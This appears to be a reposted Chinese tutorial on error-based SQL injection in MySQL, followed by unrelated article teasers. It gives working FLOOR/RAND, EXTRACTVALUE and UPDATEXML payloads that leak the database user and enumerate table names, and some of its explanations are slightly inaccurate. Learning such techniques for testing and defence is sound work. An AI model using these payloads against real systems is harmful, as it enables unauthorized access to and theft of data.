Sql注入-报错注入

news2024/11/26 1:37:45

报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖于数据库将详细的错误消息返回给客户端。若在测试时发现网页会回显sql相关的报错信息,那么此时就可以尝试使用错误注入这种方式进行渗透。

可以利用报错注入的前提:就是页面有错误信息显示出来、保证函数能够正确执行

如以下场景:

步骤

发现潜在的注入点:在应用程序的输入点尝试输入单引号 (') 或其他常见的SQL注入字符,以观察是否引发数据库错误。

引发错误信息:通过构造恶意SQL语句,使得数据库引发错误并返回详细错误信息。

分析错误信息:从数据库返回的错误信息中提取关于数据库结构、表名、字段名等信息。

逐步推断并获取数据:利用错误信息逐步构造更复杂的注入语句,最终获取所需数据

1、通过floor报错,注入语句如下:
(format Key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a); [注释符]

(format Key)为注入格式,[注释符]若注入类型为字符型时需要加注释符。

假设原始查询是:

SELECT * FROM users WHERE id = $id;

将注入的部分拼接后,完整的SQL查询变成(整型注入为例子):

SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);
语句解释:
内嵌子句:
SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x

FLOOR()函数返回小于或等于指定数值的最大整数。

 select floor(3.3);   查询到3
 
 select floor(2.1);   查询到2

RAND() 函数是SQL中的一个随机数生成函数,它返回一个0到1之间的随机浮点数。

select rand(0);    查询得到 0.15522042769493574

GROUP BY 子句在SQL中用于将具有相同值的行分组。

CONCAT(user(), FLOOR(RAND(0) *2)):将当前数据库用户(由 user() 返回)和 FLOOR(RAND(0)*2) 的结果连接成字符串。 RAND(0) 生成一个介于0和1之间的随机浮点数,乘以2后, FLOOR() 函数将其向下取整,结果可能是0或1。

GROUP BY x:按生成的字符串 x 分组。由于 RAND(0) 的结果每次调用时可能不同, FLOOR(RAND(0)*2) 的结果会在 GROUP BY 子句中引发重复值错误。

外层查询
SELECT 1 FROM ( ... ) a;

这里的 a 是内层子查询的别名,用于引用内层子查询的结果集;a 是一个别名(alias),用于给子查询的结果集命名。这有助于在外层查询中引用子查询的结果。

后续查表名:

获取第一个表名:

(format key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 1 OFFSET 0), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);%20 [--+]

为了读取所有表名,你可以通过逐步增加 OFFSET 值来获取每个表名。例如:

获取第二个表名:

(format key) AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 1 OFFSET 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a);%20 [--+]

以此类推,读数据与读列名也是同理。

2、通过ExtractValue报错,注入语句如下:

EXTRACTVALUE 函数在 SQL 注入攻击中经常被用于报错注入,特别是在 MySQL 数据库中。它的作用是从 XML 文档中提取值。然而,当提供无效的 XML 路径时,它会生成一个错误,攻击者可以利用这个错误来获取数据库信息。

在 MySQL 中,EXTRACTVALUE 函数的基本语法如下:

EXTRACTVALUE(xml_fragment, xpath_expression)

xml_fragment:这是一个 XML 字符串。

xpath_expression:这是一个 XPath 表达式,用于指定从 XML 片段中提取值的路径。

and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

EXTRACTVALUE(1, ...)

  • EXTRACTVALUE 函数的第一个参数是无效的 XML 片段 1

  • 第二个参数是一个 XPath 表达式。这里通过 CONCAT 函数将 0x3a(十六进制的冒号字符 :)与从子查询中提取的表名连接起来。

  • CONCAT(0x3a, ...):将冒号与提取的表名连接起来,生成一个无效的 XPath 表达式。

后续读表名:
and (extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e))) 

SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE():子查询,从当前数据库中选择所有表名并用逗号连接成一个字符串。

SUBSTRING(..., 32, 31):从上述连接的字符串中提取从第32个字符开始的长度为31的子字符串。

3、通过UpdateXml报错,注入语句如下:
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

注意点:updatexml最多只能显示32位,需要配合substr/substring使用与extractvalue函数相似。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1795630.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【html】如何用html+css写出一个漂亮的“众成教育”页面

先来看看效果图&#xff1a; 源码&#xff1a; <!DOCTYPE html> <html><head><meta charset"utf-8" /><title></title><style>* {margin: 0;padding: 0;/* border: 2px solid #000; */}.con {width: 1000px;height: 840px…

redis之发布与订阅

华子目录 什么是发布与订阅&#xff1f;常用命令psubscribe pattern1 [pattern2...]subscribe channel1 [channel2...]publish channel messagepunsubscribe pattern1 [pattern2...]unsubscribe [channel1 [channel2...]]pubsub subcommand argument1 [argument2...] 示例1示例…

JAVAEE之网络初识_协议、TCP/IP网络模型、封装、分用

前言 在这一节我们简单介绍一下网络的发展 一、通信网络基础 网络互连的目的是进行网络通信&#xff0c;也即是网络数据传输&#xff0c;更具体一点&#xff0c;是网络主机中的不同进程间&#xff0c;基于网络传输数据。那么&#xff0c;在组建的网络中&#xff0c;如何判断到…

MicroPython教程:ESP8266 快速参考

ESP8266 快速参考 Adafruit Feather HUZZAH 板&#xff08;图片来源&#xff1a;Adafruit&#xff09;。 以下是基于 ESP8266 的开发板的快速参考。如果这是您第一次使用该板&#xff0c;请考虑先阅读以下部分&#xff1a; 关于 ESP8266 端口的一般信息ESP8266 的 MicroPytho…

大中小面积紫外光老化加速试验机装置

高低温试验箱,振动试验台,紫外老化试验箱,氙灯老化试验箱,沙尘试验箱,箱式淋雨试验箱,臭氧老化试验箱,换气老化试验箱,电热鼓风干燥箱,真空干燥箱&#xff0c;超声波清洗机&#xff0c;盐雾试验箱 一、产品用途 紫外光加速老化试验装置采用荧光紫外灯为光源,通过模拟自然阳光中…

使用wireshark分析tcp握手过程

开启抓包 tcpdump -i any host 127.0.0.1 and port 123 -w tcp_capture.pcap 使用telnet模拟tcp连接 telnet 127.0.0.1 123 如果地址无法连接&#xff0c;则会一直重试SYN包&#xff0c;各个平台SYN重试间隔并不一致&#xff0c;如下&#xff1a; 异常站点抓包展示&#xff…

mmdetection的生物图像实例分割二:自定义数据集注册与模型训练

mmdetection的生物图像实例分割全流程记录 第二章 自定义数据集注册与模型训练 文章目录 mmdetection的生物图像实例分割全流程记录前言一、数据集的注册1.数据集的基本信息引入2.数据集base路径的更改3.数据集的评估 二、配置文件更改1.数据集任务配置2.模型配置3.训练过程配…

恭喜!Z医生喜提世界顶级梅奥诊所访问学者邀请函

➡️【院校简介】 梅奥诊所&#xff08;Mayo clinic&#xff09;&#xff0c;于1863年在美国明尼苏达州罗彻斯特创立&#xff0c;是全球规模最大的综合性非营利医生执业组织。它是以不断创新的医学教育和世界领先的医学研究为基础&#xff0c;建立起来的全美规模最大、设备最先…

基于 Amazon EC2 快速部署 Stable Diffusion WebUI + chilloutmax 模型

自2023年以来&#xff0c;AI绘图已经从兴趣娱乐逐渐步入实际应用&#xff0c;在众多的模型中&#xff0c;作为闪耀的一颗明星&#xff0c;Stable diffusion已经成为当前最多人使用且效果最好的开源AI绘图软件之一。Stable Diffusion Web UI 是由AUTOMATIC1111 开发的基于 Stabl…

flutter3-os:基于flutter3.x+dart3+getx手机版os管理系统

flutter3-os-admin跨平台手机后台OS系统。 原创Flutter3.22Dart3.4Getxfl_chart等技术开发仿ios手机桌面OA管理系统。自研栅格化布局引擎、自定义桌面壁纸、小部件、底部Dock菜单、可拖拽悬浮球等功能。 全新自研栅格化OS菜单布局引擎。 使用技术 编辑器&#xff1a;VScode技术…

Datetime,一个 Python 的时间掌控者

大家好&#xff01;我是爱摸鱼的小鸿&#xff0c;关注我&#xff0c;收看每期的编程干货。 一个简单的库&#xff0c;也许能够开启我们的智慧之门&#xff0c; 一个普通的方法&#xff0c;也许能在危急时刻挽救我们于水深火热&#xff0c; 一个新颖的思维方式&#xff0c;也许能…

NMF算法

1. NMF算法 NMF算法&#xff0c;即非负矩阵分解&#xff0c;是一种无监督学习算法&#xff0c;主要用于数据降维和特征提取&#xff0c;特别是在数据元素具有非负性约束的情况下。 NMF是一种数据降维模型&#xff0c;它的基本模型是通过矩阵分解将非负数据转换到新的空间&…

性能测试和功能测试有什么区别吗?

性能测试和功能测试是软件测试中两个不同的概念和方法。尽管它们都是为了提高软件质量和健壮性而进行的测试&#xff0c;但它们关注的方面和方法却不同。下面我将详细介绍性能测试和功能测试的区别。 一、定义和目的 性能测试是测试软件系统在不同条件下的性能和响应能力&…

微软新AI工具 Recall 被白帽公开锤了?

近日&#xff0c;一些网络安全研究人员演示了恶意软件是如何成功窃取 Windows Recall 工具收集到的数据。 2024年5月21日&#xff0c;微软发布全新的“CopilotPC”&#xff0c;这类 AI PC 通过与高通的最新芯片合作&#xff0c;实现了一个叫做“Recall”的功能。借助这个人工智…

lnmp平台部署web应用,安装Discuz社区平台详细文章——更新中

Nginx网站service 详细相关介绍-特点-http状态码-配置文件、将nginx添加永久环境变量 访问网站404是什么&#xff1f;_nginx 稳定版-CSDN博客文章浏览阅读1.2k次&#xff0c;点赞33次&#xff0c;收藏24次。开源Web服务器软件。_nginx 稳定版https://blog.csdn.net/2301_771619…

mmdetection的生物图像实例分割三:自定义数据集的测试与分析

mmdetection的生物图像实例分割全流程记录 第三章 自定义数据集的测试、重建与分析 文章目录 mmdetection的生物图像实例分割全流程记录前言一、测试集的推理1.模型测试2.测试数据解析 二、测试结果的数据整合三、生物结构的重建效果 前言 mmdetection是一个比较容易入门且上…

MySQL Doublewrite Buffer 有了解过吗?

引言&#xff1a;在数据库管理中&#xff0c;确保数据的完整性和一致性是至关重要的。然而&#xff0c;在持久化数据到磁盘的过程中&#xff0c;可能会遇到各种意外情况&#xff0c;如断电或系统崩溃&#xff0c;从而导致部分数据写入&#xff0c;而另一部分数据未能成功写入&a…

eclipse怎么导入python项目

python项目导入eclipse的步骤&#xff1a; 1、首先&#xff0c;打开Eclipse集成开发程序&#xff0c;在菜单栏上点击“File(F)”&#xff0c;在弹出来的列表中点击“导入&#xff08;I&#xff09;...”。 2、在弹出来的“导入”窗口中&#xff0c;选择“常规”选项中的“现有…

QT学习过程中遇到的问题自记

文章目录 前言问题1问题2问题3 前言 学习QT嵌入式实战开发(从串口通信到JSON通信微课视频版)的过程中遇到的几个小问题 问题1 1.将书中的示例代码导入自己的电脑&#xff0c;然后点击工程进去&#xff0c;不能运行&#xff0c;报错 no kits are enabled for this project… 我…